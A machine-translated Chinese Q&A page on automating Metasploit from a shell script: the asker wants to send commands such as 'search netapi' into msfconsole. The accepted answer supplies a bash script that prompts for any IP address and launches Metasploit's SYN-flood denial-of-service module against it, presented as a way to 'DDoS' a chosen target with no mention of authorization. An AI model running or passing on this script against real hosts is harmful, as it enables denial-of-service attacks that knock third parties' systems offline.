2017-04-22 75 views
1

我正在編寫一個腳本來自動化met​​asploit,現在我的腳本工作正常,直到我需要在終端上運行的命令,但是當我嘗試運行我必須在內部執行的命令時metasploit控制檯腳本停止,直到我手動退出控制檯,然後它將從下一行繼續。編寫腳本在控制檯內運行命令

當您運行metasploit時,它將在您可以運行命令的終端內部打開一個控制檯(msfconsole)。

如何在我的腳本中添加特定命令以在控制檯內部運行?

這些是我想要運行的命令:

msfconsole (this command starts the metasploit console, this command works fine in the script) 
search netapi (This searches the exploit i want to use, now this command is to be entered inside the console which my script cannot do) 

這一切的命令需要在控制檯中輸入後,控制檯看起來是這樣的:MSF>

+0

什麼是你的腳本是,shell腳本或Python或紅寶石? – LethalProgrammer

+0

其shell腳本 – HeroicJokester

+0

你問在shell腳本中如何運行特定的命令,你的意思是'ls,cat,ps'是什麼類型的命令? – LethalProgrammer

回答

1

我認爲你是尋找這樣的事情

#!/bin/bash 
    TARGET 
    echo " Choose who to DDoS (IP address ONLY), use nslookup < URL> to get IP address" 
    read TARGET 
    msfconsole -q -x "use auxiliary/dos/tcp/synflood;set RHOST $TARGET; exploit; 

這將msfconsole推出,使用/ DOS/TCP/syn淹沒輔助,並啓動對目標DDOS攻擊,這是一個IP地址類型由 用戶。 您可以編寫其他腳本使用此方案來自動Metasploit的,只是改變了開發和變量 不要忘記做一個搭配chmod + X yourscript.sh允許執行 也看看這個:https://www.offensive-security.com/metasploit-unleashed/writing-meterpreter-scripts/

相關問題